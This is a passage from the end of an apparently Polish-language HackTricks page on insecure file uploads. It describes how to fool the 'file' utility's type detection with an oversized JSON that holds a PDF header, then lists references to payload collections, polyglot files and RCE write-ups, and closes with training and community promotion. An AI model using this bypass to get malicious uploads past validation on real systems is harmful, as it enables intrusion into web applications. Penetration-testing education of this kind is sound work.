binary: Może czytać do 1048576 bajtów z pliku. Wystarczy stworzyć JSON większy niż ta wartość, aby nie mógł sparsować zawartości jako JSON, a następnie wewnątrz JSON umieścić początkową część prawdziwego PDF — i wówczas zostanie uznany za PDF
References
-
When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
-
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
-
https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
-
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
-
https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
-
usd HeroLab – Gibbon LMS arbitrary file write (CVE-2023-45878)
-
HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM
-
0xdf – HTB: Certificate (ZIP NUL-name and stacked ZIP parser confusion → PHP RCE)
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.